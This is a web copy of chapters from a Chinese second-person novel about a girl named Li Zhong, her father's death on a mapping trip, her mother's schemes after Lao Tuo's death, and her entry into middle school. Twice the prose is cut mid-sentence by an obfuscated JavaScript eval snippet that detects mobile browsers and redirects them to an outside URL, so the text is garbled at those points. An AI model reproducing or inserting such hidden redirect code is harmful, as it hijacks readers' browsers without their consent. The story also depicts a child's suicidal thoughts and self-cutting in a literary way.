高耸立,顶端如一把铺天盖地的绿伞,将这条河谷阻隔在天地之间,这里极少有光,温度也与外界截然相反,瘴气随时都会升腾起来,潜伏在密林深处的动物们也时刻窥视着闯入者。 这次的闯入者们,年龄最大的是你的父亲,他三十来岁,其他三个也才二十来岁。 四月份的山里比山外冷多了,他们四人穿着保暖衣和外套,携带两天的干粮,当然带了罗盘、地图、工兵铲、汽油罐以及一桶红色油漆罐。 汽油罐用来生火,以及震慑潜在动物的袭击,油漆罐则用来在树上标记方位,避免迷失。 当然,他们还带了一台队里最先进的GPS。 他们这次的野外作业目的是到达预定地点后,在其周围三公里范围内普查信息,标注潜在磁铁矿的可能位置。 本是一次稀松平常的调查,对于你父亲来说,比这次艰辛的环境他也见识过,但他领着三个小伙走进茫茫深山后,便彻底消失了踪影。 - 搜查队在夕落河中游发现一棵树上有一团红色油漆。一般来说,在GPS正常使用的情况下,几乎用不上油漆来标注方位,怕是这时候他们已经在这高山幽林里迷了路。 他们手中的GPS不知道为什么并未打开,罗盘也可能被地下丰富的磁铁矿扰乱了方向,他们只能采用原始的方法判别方向,结果还是死在了奚落山。 搜查队很快夕落河上游找到一块雨衣残片以及他们的排泄物……在经过五天五夜的搜寻后,终于发现了他们四人的尸体。 三名年轻人齐刷刷躺在一棵桫椤树下,上衣卷起,面露微笑,像是快速失温的征兆。但当时并未极端降温,即便夜里温度降低,他们有汽油罐,完全可以生火取暖。但他们的汽油罐并未打开使用。 而你父亲不知为何躺在距离他们五百米远的溪边。后来尸检报告显示,你父亲被蛇咬了一口,得不到及时救治毒发而亡。你父亲生前喝了不少白酒,摔倒在地上,头破了一个洞,许是血气吸引了潜藏在密林深处的刚刚从冬天苏醒的毒蛇…… 为什么你父亲明明戒了酒却又偷偷拿了酒?为什么三名年轻人死在一起?你父亲到底是准备下山找人救援还是抛下他们一个人先逃? 为什么没有打开GPS?你父亲这么有经验的技术员,为什么没有按规操作?为什么丧失了判别方向的能力? 谁也搞不清楚,也想不明白! 有专家说,能让那三位年轻人同时失去自救能力,会不会是这山里突然冒出的毒气或者过量的二氧化碳,导致他们三人昏迷从而失温? 有本地人说,夕落河河谷里早些年有人家住在里面,有一天晚上夜蔼笼罩后,这家人齐整整不明不白死了,后来就没人敢往这条河谷里钻。 207地质队的人说,这种解释不清的事情多了去了,地质人在野外工作,谁肚子里都有几个悬疑恐怖的故事,你看,这条河叫夕落河,而你父亲叫李朝贵,朝起的太阳终究要落下去,这条河叫夕落,多不吉利啊!压根就不该派他去! - 队长又哭又骂,“朝贵答应我不再喝酒,竟然还敢把酒带上。” 你母亲低垂着头,“他总是不听话。” 过了好一会,她才抬起头来,满脸木然,“他出发前说,山里冷,喝点酒可以暖暖身子。” - 李重啊。 总有人问你,你从小没了父亲,你会不会伤心自卑?你会不会因为父爱缺失而缺爱?因为缺爱会去寻找和父亲相似的恋人? 每次你听到这种问题,每次脸上总会带着忧伤。 你说,是啊,没有爸爸的小孩是很可怜的。 你说,没错,我很缺爱,我需要爱。 你说,有可能。我就喜欢成熟稳重的男生。 但其实,还有一个“你”会从身体里抽离出来,俯瞰着满脸忧伤的你,露出嘲弄的笑容。 真相是: 野人爸爸死了,这是你人生中为数不多让你开心的事。 你是缺爱,那也是因为你母亲不爱你。 正因为你这辈子总想让你母亲好好看你一眼,所以她让你爱谁,你才会爱谁。 - 当天晚上,它们回来了,从窗棂外爬进屋里。 它们带着晨雾和暮霭,带着溅溅溪流的湿润,带着桫椤林的莽荒气息,缠上你,贴着你。 你左亲亲,右亲亲,两张和你一模一样的脸。 你说:“你们可真棒!” 30. 第30章 李重啊。 野人爸爸死后,你便得到安宁了吗? - 1996年的九月,你终于迈进了小学的大门,就在遵龙镇,就是那个老陀“错过”的公审公判大会举行的地方。 开学第一天,你母亲没有送你,更没有殷殷嘱托,你孤身一人背着王翠莲王阿姨送的书包走进如牢笼般的教室。 你称之为牢笼,因为它和幼儿园一样有高大的围墙,老师们的脸也一样的肃穆,他们生怕你们这些小崽子们捣乱,各种规定要求铺天盖地般压过来,你的小手自然也不能藏在下面,握着那把燧石刀。 - 你不安极了。 你也没办法静下心来听课。和老陀相比,这些老师就像陈旧生锈的铁疙瘩,一讲话就透着一股子铁腥味,还试图把你也同化成铁疙瘩。 于是,你总把头转向窗外。 深秋的树叶黄黄的,正在树枝上做最后的挣扎,你在心里默默数着数,看它们会在哪一个数字出现的时候,被无情的风吹断叶缔……当然,它们只能飞一小会而已,马上就会坠落地面,被人踩碎,被活着的细菌吃掉,化进土里,最终消失在幽深的地下黑暗中…… “李重,你在看什么?!老师教的你都会吗?你要是不想学就回去,这里不欢迎不听话的小孩!”老师接连厉声斥责。 你拎起书包就走,走得决绝无情,走得老师目瞪口呆。 门卫把你拦住,你母亲被紧急叫来学校。 你这时候有些害怕了,你不怕母亲骂你,打你,你只怕母亲伤心。 老师一脸愤怒地把你称为她教过的最不听话的小孩,让你母亲好好管教她,要不然就让你转学。 母亲看着你。 你说:“他们教得一点也不好玩。老陀不是这样教的!” 你知道她肯定认同你的观点。老陀就是这世界上唯一好的,谁也比不上。 “老陀是谁?你一个小屁孩知道什么啊?你凭什么说老师教得不好?”老师显然破防了,“知识就是知识,知识怎么会是好玩的东西!” 你仰起头,横着脖子说:“就是!就是!” 老师气得跳脚,“李重妈,你到底怎么教的小孩?怎么一点也不知道尊重老师?” “她爸死了!”你母亲冷冷撂下几个字。 老师脸色难看起来,看着你的眼神也意味深长。她挥挥手,连说两个算了。 你安稳回到了教室,你母亲则头也不回地消失在走廊深处。 你突然发现,野人爸爸的死竟然另有妙用。你顶着“没爸的孩子”的称号,竟然可以得到额外的充沛的忍让。 你忍不住笑了。 这个赋予你一半生命的男人,总算在他死后,发挥了他的第二个功能。 - 老师期望你母亲多管管你,可你母亲在老陀死后,越发形影孤孑,脾气也越发乖觉。 父亲的死并未让她的日子好过多少,她好似只剩下最后一口气还顶着她。 你知道那口气绝对不是因为你。 所以,她怎么可能“管你”? 这两个浸润着悠深缠绵母爱的字,与你毫无关系。 - 但放学后,你还是得在店里帮忙干活。 母亲不肯花钱请人,你就是她天然的小帮手。你对此心甘情愿。 作业当然写得七零八落,书包、衣服、课本、笔盒、头发,你所有的一切都覆盖着浓厚的腥膻味……没人愿意和你坐同桌,连老师也暗暗嫌弃你,你坐到了教室的最后一排。 你自己的影子,以及随时都会出现的人头蛇身的它们,是你的唯二的朋友。 你在学校沉默地像个小哑巴,要是远在六十里外的老林头知道了,会不会觉得给你做法冲傩是多此一举?! - 地质队直到这年的年底才把补偿金发下来。 因为经济实在困难,地质队本来不可能赔这么快,怎奈你奶奶天天去队长那里哭闹。队长刚开始还抱着同情心和愧疚心接待,后来老太太又是威胁,又是闹自杀,闹得整个大队不得安宁。反倒是你母亲从未去讨要,一副依旧沉浸在失去丈夫悲痛中的可怜模样。 队长知道这笔钱要是被你奶奶拿走,你母亲怕是一分钱也得不到,而且若是不能一锤子把这事了了,以后这位可怕的老太太还会上门闹事,于是他叫了个律师坐镇。 果不其然,十万赔偿金,你奶奶叫嚣着全部都是她该拿的。你母亲低垂着头,一言不发。 律师说这笔钱按照法律规定,你奶奶可以拿走一半赔偿款。 你母亲抬头,说:“我同意。” 你奶奶果然又开始撒泼打滚,非说你父亲是她生的,他的命是她的,他拿命换来的补偿金也应该全是她的。 队长和律师耐心解释说你母亲是你父亲的配偶,你是你父亲的唯一的孩子,她们两个也是合法继承人…… 你奶奶朝地上吐了口唾沫,冷笑道:“她们两个算个屁。要不是我儿子太听他爹的话,这个女人怎么可能成为我家的儿媳妇?娶了个扫把星,又生了个扫把星,真是倒霉八辈子!现在我儿子也没了,连个后都留下……一家人就剩我一个老婆子了!” 你母亲面无表情,像一个木头人。你则默默挨着母亲坐着,看着奶奶一张一合的嘴,神思渐渐飘远。你在想我是谁?我在哪?我在干什么? 你最近经常这样。当两只小手戳在刺骨的水盆里,手指揉搓大白碗,看着一层层泡沫漂浮在盆里,你会突然愣住……这时,一袅灵魂从你的头顶冒出去,它俯视着你,它问:“你是谁?你在哪?你在干嘛?” 你回答不了,也解释不清。 不过一瞬,这袅白烟又钻进你的天灵盖,你魂魄归位,继续木然地洗着碗。 如同现在,你奶奶说你什么也不是,不应该姓李,不应该是你父亲的延续,甚至都不应该活在这个世界上。 所以,你还用纠结这三个问题的答案吗? - 最终,你母亲让了步,她只拿走三万,剩下的七万全给了你奶奶。你奶奶还要把你们赶出地质大院的那套土房子……她宁肯收租,也不愿意你们两个外姓人沾染她儿子的房子。 那天雪很大,你母亲怀揣三万块钱,缓步从队长办公室走出来。到处都是厚厚的白色,她仰起头,长长吐了口气。 跨出大门的那一刻,她立马头也不回地大步往前走——哪怕因为路滑,深一脚浅一脚,也不管,就要快,再快点,像是后面有野兽追她。 你不停喊着妈妈等等我。 她没有回头,也没有放慢,像要甩开你似的,就这么直冲向前…… 你被冷风呛得咳弯了腰,只得停下来。雪越下越大,到处白茫茫一片,再次抬头时……母亲早就不见了人影。 - 看着满眼的雪雾,你反倒不慌了。 你知道母亲离不开你。 当然不是因为你是她唯一的女儿,是她生命的延续。 你是“冒名顶替”的李重,是永远活在她心里的哥哥的替身。 你顶着哥哥的名字,要为他活着,你母亲怎么可能不管你呢? - 果然,你在店里看到了母亲。 她见到你的一瞬,还是那样的满脸不耐,骂你怎么这么慢,骂你就知道偷懒,骂你浑身湿透也不知道找个地方躲雪……总之,是热情洋溢的咒骂,是母亲该有的“熟稔亲切”的样子。 身后雪粒飞舞,你哈着气,笑了。 你知道今后母亲只有你了。哪怕她不肯承认。 - 期末考试你考了第一名。 意外又不意外。 奖状拿回家时,母亲瞥了一眼,说:“没给你哥哥丢脸。” - 翌日,你母亲带着你去了一个地方。很近,你曾经去过,是老陀的家。 老陀母亲看到你们两人,先是脸色一沉,而后看到你母亲双手拎着的礼物,这才把门推开。 距离上次你们来这里已经过去大半年,老太太一身皮毛大袄,面色红润,精气神十足,显然老陀前妻给的那笔巨款让她过得很好。 老太太一脸警惕地看着你们,“我不是说过了吗?我不会去警察局要那个祸害的骨灰,我也不会管他到底是怎么死的,他活着的时候不孝敬我,也别指望他死了我供着他的牌位……有那闲钱还不如我吃两顿肉。” 你母亲陪着笑,“事情都过去了。我今天来是想着快过年了,您一个人住,不方便收拾屋子……” 老太太很精明,既然有人主动上门免费干活,她何不钻被窝歇着嗑瓜子呢。 你母亲甚至把马胜才小卖部的电话留给老太太。只要老太太一声召唤她就飞奔过去,买油买面买煤球,洗衣做饭收拾屋,就连嫡亲的儿媳妇也没这么勤快,何况一个八竿子打不着的…… 这里头该包藏着多大的“祸心”啊。 老太太一直等着你母亲暴露,然而你母亲极其耐操,怎么被刁难都不生气不退缩。 你每次跟着母亲过去干活,口袋里都揣着那把燧石刀,你以为母亲会像上次对付老陀前妻一样,母女协同,双刀出列,一举制服这个难缠的老太太,然而,你的燧石刀压根没有露脸的机会。 日子就这么一天一天溜走,突然有一天,老太太骂骂咧咧让你母亲再买两斤肉去她家。 你母亲去了,但空着手。 老太太满脸不悦。 你母亲笑着说,“老太太,老陀前妻给您的钱,您这是花完了吧!” 老太太眉眼耷拉着不吭声。三个月前这钱就应该花完的,她见你母亲上赶着讨好她,就把自己的钱压在箱底,有什么需要买的全使唤你母亲。 前两天她一时手痒,去摸了几圈麻将,结果输得一塌糊涂,压箱底的钱全给了牌友。本来想着还有你母亲这个冤大头,会好吃好喝地供着她,谁知道今天你母亲竟然空着手来。 你母亲气定神闲地坐下来,“不是我不想给您买肉吃,您也知道我开店这么忙都舍不得雇个人,还要养孩子,孝敬您的钱和东西确实是从手指缝里挤出来。” 老太太见你母亲这时候跟她开始哭穷了,眼珠子一转,“你跟老陀的事我也听说过,虽然说你们没领过证,但你们好过一段,那你就是我的……” 你母亲咚得一声坐起来,像被谁狠狠打了一巴掌,涨红着脸哆嗦道:“哪个嘴贱的在您面前这么编排我?我过来看您,是因为老陀生前对我们娘俩很照顾,他还免费教李重识字学习,算她的启蒙老师……您是他母亲,从道义上我也得过来看看您,我和他之间绝对干干净净!” 你抬眼看着母亲,她的一腔真心,一派德行,好似狠狠践踏般,满脸痛苦难过……你突然看不明白了。 到底哪个样子才是真实的她? 老太太也被她这个样子吓着了。本想着面前这个女人该是个实心眼,自己生的那个祸害把她哄得咕噜咕噜转,即便他死了,她还愿意上门伺候他的孤寡老母。结果她竟然不承认?还抛出如此义正言辞的话来? “您要是这么认为,这么看我,那我以后就不敢再蹬您家的门。老陀对我们的好,我们只能记在心里。” 你母亲作势要走,老太太赶紧下床一把拉住她,陪笑道:“别,别走啊。我也是听外头那些人瞎说,我都没当回事!” 你眼睁睁看着母亲立马把抬起的脚落了回去,又施施然坐了下来。 她笑了笑,“我身正不怕影子斜。我也不为了什么,就是想报答。” 老太太眉眼这下全笑弯了,一改往日尖酸刻薄的模样,试图拉住你母亲的手。 你母亲不动声色地挪开一点距离,摆出一副为难表情,“有句话我忍了很久,不知道当讲不当讲?” 老太太现在把你母亲当做摇钱树,眼也不花了心也不瞎了,立马殷切地说,“庆芬啊,有什么话千万别憋着,对身体不好。” 你母亲皱着眉说:“我听人说,老陀是被人搞死的。” - 没过几天,有食客在店里闲谈,说老陀的母亲跪在派出所门口喊冤。但没几分钟,就被几个人强行抬走。 你母亲半夜偷偷上门,老太太得意洋洋举着一叠钱,整张脸笑成了大菊花,“可轮到我老婆子挖到宝藏了。” 你母亲唇角勾着笑,叮嘱她千万别太贪心。这座宝库就是她未来的退休金,她的保险柜,没钱的时候可以取,但这宝藏大门不能经常打开。 老太太满脸不屑,“他们杀了我儿子,就得花钱养着我。我让他们什么时候吐钱,他们就得吐。” 你母亲没接话,昏黄灯光落在她的脸上,半明半暗。 - 又过了几天,店里来了位不速之客。 是高倩。 高跟鞋上的她,在你眼里花团锦簇,香味十足。 你母亲一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457975|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点也不意外,该干嘛就干嘛,压根没把她看在眼里。 高倩咬着唇,迎着周边投来的异样目光,走到你母亲面前,“我有话跟你说。” 你母亲头也不抬,“嘴长在你脸上,你想说就说。怎么?难道你要讲的话,见不得人?” 高倩压低声音,愤恨道:“老陀他妈天天闹我,是你鼓动的吧!” 你母亲抬起头,冷冷道:“心虚了?因为心虚所以才给她那么多钱?你也该知道这老太太贪得无厌,给一次哪能够?粘上她,除非她死,你一辈子也甩不掉!” 说到这里,她眼波里透着讥讽,“你现在心里是不是在盘算把她杀死的方法?就像你们杀死老陀一样?!” - 1998年的夏天,你开始快速抽条。 是啊,再纤细孱弱的野草也能迎风劲长,不知不觉间你已长到母亲咯吱窝那里。她自然不会注意,是你总悄悄地站在她的身后,举起手比了又比。 同时疯长的还有对老陀的思念。每天晚上睡觉前你总要紧紧攥着那把燧石刀,直到尖锐冰凉的刀刃划破手心,感到痛才停止。 你知道他的尸骨已经化了灰,被随意埋在不知处的幽黑地下。虫蚁可能噬咬它,根蔓可能侵袭它,地下水可能淹没它……你缩在被窝里,越缩越小,小到可以钻到骨灰盒里。你举着燧石刀,砍死所有虫蚁和根蔓,挡住汹涌水势,天亮时,你再从骨灰盒里钻出来,放大成那个已然抽了条的小孩。 每晚如此,从不停歇。 同时繁忙的还有你的母亲。 她开始称呼老陀母亲为“干娘”。每天忙完都会去她那里坐一会。偶尔在上下学路上碰到这位“干奶奶”,她会从口袋里掏出一两颗糖哄你。你安静地道着谢,转过身就把糖狠狠甩得远远的。 - 待这年的金桂再次开始漫天渗香时,你这位“干奶奶”在某天晚上不知怎得竟掉进高坪河里,待人发现时,天已透着亮,她趴浮在河湾的水草里,皱巴巴的脸被水蛇咬破了个好几个洞。 你母亲拽着你,气喘吁吁赶过去时,水草的绿影里已弥漫出血红色。 围观的多是看热闹的。老太太一辈子刻薄寡情,加上儿子又死在监狱里,几乎无人为她的不幸感到悲伤。 除了你们。 你母亲悲切地喊着干娘,你撕心裂肺地喊着干奶奶。 警察把你们请进派出所,你母亲当场举报高倩是杀人凶手。她拿出一叠收据,上面一笔笔记得很清楚,多则三千,少则五百,上有高倩亲笔签名。 “这是高倩给我干娘的买命钱。” “买命钱?”警察满脸诧异,“买谁的命?” 你母亲冷笑着,又拿出一个价格不菲的录音笔。 警察更诧异了,谁能想到一个农村妇女会从口袋里掏出这玩意。 - “高倩,你们把我儿子搞死了,我要五万块钱不为过吧。只要你给我五万块,我儿子的命就算卖给你了。我可以给你写收据,咱们记个账,我绝对不多问你要一分钱。” “高倩,你别着急否认。我虽然是大字不识的老婆子,但不傻。你要是心里没鬼,为啥跟我儿子离婚好几年了,他刚死几天你就巴巴地给我送钱?不就是想封我的嘴?我去派出所喊冤,你的线人立马通知了你,我还没把膝盖跪疼,就被你的人架走了!” “……” - 你母亲个子不高,却踮着脚,硬生生把天捅了个洞。 本已沉寂一年的老陀案被重新启动调查。 你母亲舍不得穿,舍不得吃,却花钱请了律师,在律师的指导下在老陀母亲死前就拿到她的委托书。 你母亲花了近一年的时间谋划,她不紧不慢却坚定执着地终于亮出了她的“羊腿刀”。 - 一个月后,律师告诉你母亲,老陀死于花粉过敏引起的哮喘。 你母亲满脸震惊,她几乎跳着站起来,嘴里的话像机关枪一样射在对方身上。 “不可能!他是被高倩男人害死的。她男人是矿老板,手眼遮天,他和警察勾结,把老陀抓进去,然后为了让他认罪,把他打死了……” “证据呢?”律师反问。 你母亲愣住。 “这是尸检报告的复印件,白纸黑字,不会骗人的。” “我从没有听过老陀有这个病,怎么就突然冒出来了?哮喘?”你母亲急切地问,“他发病是在白天还是夜里?当时身边没有人吗?是不是他们故意把花粉撒到他脸上?是不是他们故意不救人?只要吃颗药打个针就能把人救活的病,怎么就能让人死了啊?” “王女士,您的心情我们非常理解。但事实就是事实,事实不为个人意志转移。您的这些质疑都需要证据支撑的。请问您有吗?” - 至于老陀母亲,也不过是喝多了失足落水,属于意外死亡。 高倩不是杀人凶手,反而因为老陀母亲的长期勒索是典型的受害者。她大度地不计较你母亲的恶意举报,施施然坐进一辆黑色奔驰车扬长而去。 你母亲的确把天捅了个洞,但这洞叭的一声快速合拢,继续高高在上,连一道浅浅的裂痕都没有。 老陀的骨灰倒是要了回来,被他的一个八百辈子不联系的亲戚接走草草埋进了祖坟里。 - 有一天夜里,你母亲领着你,扛着铁锹,悄悄把老陀的骨灰盒挖了出来。这个木质骨灰盒才不过一年就已经破破烂烂。 幽幽绿光在松柏间星星点点,你母亲一边落泪,一边双手捧起碎块骨头和灰质,放进另一个润黄色大理石骨灰盒里。 你抚摸着冰凉的新骨灰盒,轻轻说:“我想把它摆在我的床头。” 你母亲的手一顿,冷冷道:“你先回去。” - 天快亮时,你母亲携着一身浓重的火纸味回来了。 大理石骨灰盒不见了。 你知道,母亲把老陀和哥哥埋在了一起。 一个你不知道在哪里,也没资格去的地方。 你从门缝里死死盯着母亲的脸,好半天才转过身来。 它们又急切地盘缠过来,一左一右,通往蛇尾的血红喉咙里发出一声声小可爱啊小可爱。 “看,看我藏了什么好东西?” 你张开左手,手心里是那把曾经威胁过野人爸爸的燧石刀。 你张开右手,手心里是一小截人骨。 31. 第31章 李重啊。 你是什么时候脑子里开始产生“想去死一死”的念头? 且你觉得藏着这样的念头也没什么大不了,就像……想吃饭了,想喝水了,想睡觉了,简简单单划过脑海的指令,可做可不做,可以现在做,也可以过段时间再做。 你并不觉得有错,也不会因此感到害怕。 且你即便保持这样的念头,也能平静地上学、放学、刷碗、扫地,平静地感受母亲的若有若无,忽远忽近。 - 老陀的死亡,太像一个荒诞笑话。 或者说,这个世界本就是荒诞的。所以也不用过分认真对待。 你开始在考试时,只写最难的,不写简单的,凑够六十分万岁。老师质问你,你垂着头死也不回答,母亲歇斯底里地责骂你,你仰着头一言不发盯着她……她只有在这时候才多看你一眼,哪怕这多看的一眼里也满是嫌弃。 路遇那些总在窥探议论你们母女的街坊邻居时,未等对方张嘴你便一脸认真的问:“你见过外星人吗?”对方一旦露出疑惑表情,你立马神秘兮兮道:“要是把小卖部的马胜才头皮掀开,一定能看到外星人黏糊糊的触角!” 诸如此类。 人们见到的你,要么疯言疯语,要么仰着脸放空发呆,要么低着头念念有词,要么钻进林子里,把脸贴到树上一动不动。 你怪模怪样的,着实有些瘆人。 你母亲打过你,骂过你,你不犟嘴不反抗,生生受着也绝不改正。 可你心里却想着:妈妈你比我更怪。 - 母亲把老陀那件夹克当成了工作服,每天都裹在身上,外头再套一个丑兮兮的围裙护着它。既然那么宝贝这件衣服,为什么还要穿上?珍藏在衣柜里不好嘛?再说,别人不清楚这件衣服的来历,你能不知道吗?她一点也不避着你,况且她还抢走了老陀的骨灰……可别人提及老陀,她立马避如蛇蝎,闭口不谈。 既然那么讨厌恶心野人爸爸,地质队的人过来吃羊汤,你母亲总会抽空坐下来,主动提及他,说他技术好,事业心强,只是生不逢时,时运不济,年纪轻轻就死在了野山里,让她也年纪轻轻就守了寡,说到这里,母亲总会掉两滴眼泪,让对方心酸地抛来同情的安慰。 表里不一,幽隐纠结。你觉得母亲真是怪到不能再怪了。 与此同时,你发现母亲偷偷摸摸经常去黔北市区,甚至你还在抽屉里发现一张从黔北去贵阳的火车票。 你可以允许母亲把你当做哥哥的替身,但不允许她藏有秘密。 于是在五年级的某一天,你逃了学,跟踪了她。 母亲前脚上了进城的公交车,你后脚从后门也上了车。 她双手紧紧抱着一个袋子,宝贝似的不停抚摸着。里面装着什么,能让她素来寡情的脸上流露出难得的温柔? 你咬着牙,把母亲的后背盯穿了个洞。 公交车在湘江河站停了下来。母亲下了车,你紧跟其上。 往左走是黔北老城区,这里保留了过去的三街两巷,热闹又破败。你头一次来这种地方,一来便被这弯弯绕绕的巷子绕晕了头。满眼都是胡乱搭建的电线,随意流淌的污水,满耳都是吵得头疼的叫卖声,以及你自己扑腾扑腾的心跳声。 巷口一顶歪歪扭扭的指示牌上写着“何家巷”三个字。很久以后才终于明白母亲为什么挑了这个地方。 母亲一辈子不是在干活就是在干活。她总急切坚定扎实地在干活中度过每一分每一秒,极少停下来生产那些所谓的对未来生活的幻想……房子除外。她不止一次在你面前,在其他人面前说想买一套房,院里种一棵樱桃树,一边乘凉,一边手一够就能吃到甜甜的果子。 何家巷,又名樱桃巷。曾经这里樱桃树站满了路两旁,2000年时这里只保留零零星星的几棵。不过,对于母亲来说,也够了。 彼时你还不认识这种树,远远瞧见母亲一路急走,蓦然在巷子尽头的一棵树前停了下来。她仰起头,树影斑驳,落在她的脸上,上次看到她如此恬静舒心的样子还是发现老陀没有被绑上审判大会时……你的一整颗心不知被谁的手狠狠捏成了一团,一滴又一滴的血从手缝中坠下来。 母亲的手轻轻拍了拍树干,随即上了楼。 你站在楼下,死死盯着二楼窗户,发现母亲的衣服晾晒在这里。 你片刻也不愿意等,几乎是手脚并用地爬上去。看着贴着福字的大门,你一会冷一会燥,下一秒你的手砸在门上,一下又一下,越砸越重,越重越疼,越疼越急…… 门从里面被猛然拽开,母亲震惊的脸骤然出现。 你们对视着,一动不动。 你发现自己终于和母亲一样高了。 你几乎撞开了母亲,冲进去,像急切抓奸的丈夫,撞开次卧,冲进厨房,钻进卫生间……扫视,翻找,但空无一人。 你喘着气,盯上了那个锁着门的主卧。 “谁在里面?” 母亲不说话。 “这是谁的房子?” “出去!”母亲冷声吐了两个字。 你转过身撞那间主卧。 总有人在母亲面前说什么你这么年轻可以再找个男人,再来个第二春。这时,她总会看向你,然后斩钉截铁地说不找了。大家都说母亲真是个好母亲,生怕再来个后爹欺负你。可转过身,母亲就在城里有了新房,有了藏在卧室里不肯出来的新男人。 “出来!出来!你给我滚出来!”你大吼大叫,像八爪鱼一样吐着粘液死死贴在门上,数只触角不停地拍打着门。 母亲试图把你这只八爪鱼扯走,拽了半天她突然发现你在什么时候长这么大,这么高,这么疯,这么不乖…… 撕扯中,你碰到了那把挂在母亲腰上的钥匙,你一把拽住……吐着气,喷着火,说:“开门!” - 门开了。 你看到了什么? 你看到了五个漂亮的崭新的书包,一堆没有拆封的玩具,一张柔软舒适的床,一张高低合适的书桌。 你猛然回过头,不可置信地盯着母亲,方才被捏出血的心此刻才有了疼意。你轻轻拉开衣柜,好闻的洗衣服粉味儿扑面而来。 里面挂着大小不一样式多样的男孩衣服。 你低下头,一双旧鞋,一身旧衣,浑身的羊肉腥膻味。 和锅碗瓢盆羊肉备菜住在一起的你,只能趴在矮矮的小方凳上写作业,每晚烙饼一样睡着坚硬的木板床,没有人爱你所以没有任何玩具…… 母亲一脸坦然,丝毫不觉得做错了什么。 她把你使劲推了出去,又小心翼翼把门锁好,钥匙收好。 两间卧室。 活着的你住不上,死了的人却霸占了一间。 你想笑,又想哭。 笑,这个世界果然如你所预料般的荒诞不堪,哭,还好没有其他人插足你的三人世界,哪怕母亲偏爱哥哥多一些,也没关系。 你顶着他的名字活着,你应该替他好好活着。如果有一天,你足够优秀,足够完美,母亲说不定会忘了哥哥,把你的名字归还给你,把你归还给你自己。 胸膛里的那颗心缓缓舒展开来,你强迫自己挤出一个笑,你说:“我还得回去上学,妈,你替我多陪哥哥一会。” - 六年级最后一个学期,你瞒着母亲让老师带你参加了市一中的特殊招考。你考过了,拿着通知书给母亲来了个出其不意。 母亲翌日终于肯花钱请了个帮工,你终于在初一新学期如愿住进了何家巷那个新家的客厅…… 与哥哥房间一墙之隔。 - 李重啊。 如果你有资格把你的人生涂上颜色,前12年一定是浓重的黑色。它像一顶密不透风的乌云,一团僵硬干瘪的黑墨,沉寂,幽冷,刻板,失活。 哪怕接下来的13年以一种漫长但执着的姿态,冲破了黑色的垄断,沾染了些其他色彩,但黑色依然是你的人生底色,时不时吞掉你好不容易长出来的开心、勇气、力量或者其他的随便什么东西。 但好歹有了变化,对吧。 - 刚迈入初中的你对此一无所知。 你依然独来独往,沉默不语,像一缕风,一道影,看似存在,却又摸不着触不到。 但你成绩非常好。好到让你这缕风,这道影,有了实体,具象化地出现在同学们的眼里和嘴巴里。 他们观察你,讨论你,羡慕你,然后非议你。 也没人愿意,或者敢和你说话。 除了,宋景福。 - 他像一条大狗,莫名其妙在认识你的第一天就对着你笑,龇牙咧嘴的,像眼瞎了般看不到你木然拒绝的脸。 他主动请缨和你做同桌,又高又壮的身体努力缩成一团,只为不碰到你。 你的头依着墙,也把自己缩成一团。有限的座位空间竟然还能宽余很多,割裂出楚河汉界的鸿沟。 可他太爱笑,还没张嘴说话,喷薄的笑意便穿破鸿沟落在你的身上。 你非常讨厌。 人怎么能这么爱笑?有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496766|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么值得好笑的?笑得这么没心没肺,是因为你看起来太好笑吗? 他也特别爱说话,一见到你就摇着尾巴停不下来。 “李重,你也是独生子女吗?我没有妹妹,你做我妹妹,好不好?” “李重,你为什么学习这么好?你爸妈是不是管你管的很严?” “李重,你好像不爱说话啊?我十个月都会喊妈妈爸爸了!嘻嘻,是不是唯一比你厉害的地方?” “李重,你的衣服用什么洗的,怎么这么香?” …… 每一个问题都在你的雷区蹦跶。 你讨厌极了,恨不得用针线把他的嘴巴缝住,或者用那把燧石刀在他胸口扎个洞,让他永远闭嘴。 然而,燧石刀在你来市里上学前就被母亲收走,她说:“那个地方没人认识你,你以后能不能装得正常点?” 原来,母亲也知道你不正常啊?! 你转过脸,看着宋景福,“你把嘴闭上,我就跟你说话。” 宋景福睁大眼睛,惊喜的神色浓烈如蜜一样流淌下来,冲到你的脚边……一不小心就会陷进去。 他伸出手,竖在唇边,欢快地摇着头。 你瞥了他一眼,毫不迟疑地转过头脸,嘴巴闭得更紧了。 大狗急坏了,呜咽呜咽的,想张嘴说话,又怕违反你的规定,硬生生憋了一天,憋得七窍堵了四处,憋得裤子差点被屁股磨破。 放学时,你用余光瞥见宋景福在你身后不远处鬼鬼祟祟……他时不时躲在树后、墙后、人后,一副怕你发现又期待你回头看他一眼的怪模样。 你皱着眉绕进一条荒芜安静的小巷子,夕坠的光被残砖破瓦吃掉一半,另一半落在墙角处的暗苔上。你突然停了脚,猛然转过身……果然抓住对面那张惊慌的脸。 宋景富也不知道吃什么长大的,小小年纪便如此高高大大,把小巷衬得格外低矮,竟然让你想起年轻时候的老陀是不是就是这个模样? 你盯着他,好似在看他,又好似在看他身后的某处虚空。 你突然感觉到下面热流涌出,粘稠又陌生,来自小腹的疼感立马攀疼上来…… 你不知道发生了什么?你当然不知道发生了什么! 母亲天天忙着宠爱早都化成灰的哥哥,你天天忙着思念老陀,孤孑沉默,那些女孩之间的神秘话题,你从未参与,更对此毫无概念。 